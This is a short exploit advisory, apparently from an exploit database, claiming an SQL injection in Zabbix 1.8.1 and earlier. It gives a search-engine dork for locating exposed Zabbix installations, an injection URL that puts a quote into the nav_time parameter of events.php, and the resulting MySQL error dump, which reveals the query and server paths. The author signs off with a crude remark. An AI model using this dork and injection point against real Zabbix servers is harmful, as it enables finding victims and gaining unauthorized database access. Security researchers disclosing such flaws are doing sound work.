# Exploit Title: Zabbix <= 1.8.1 SQL Injection Vulnerability # Date: 27/04/2010 # Author: skys # Software Link: http://www.zabbix.com/ # Version:Web Application # Tested on: Apache/*nix # Dork: intext: "by SIA Zabbix" # Code : Exploited Link : http://vulnsite.com/path_to_zabbix/events.php?nav_time=0' Result: Error in query [SELECT DISTINCT e.* FROM events e WHERE ((e.eventid BETWEEN 000000000000000 AND 099999999999999)) AND (e.object-0)=0 AND (e.objectid IN (-1)) AND e.clock>=0' ORDER BY e.clock DESC LIMIT 1001 OFFSET 0] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY e.clock DESC LIMIT 1001 OFFSET 0' at line 1] mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource[/data/www/htdocs/include/db.inc.php:546] mysql_free_result(): supplied argument is not a valid MySQL result resource[/data/www/htdocs/include/db.inc.php:548] #skys mailto:skysbsb[fuck spamers]gmail.com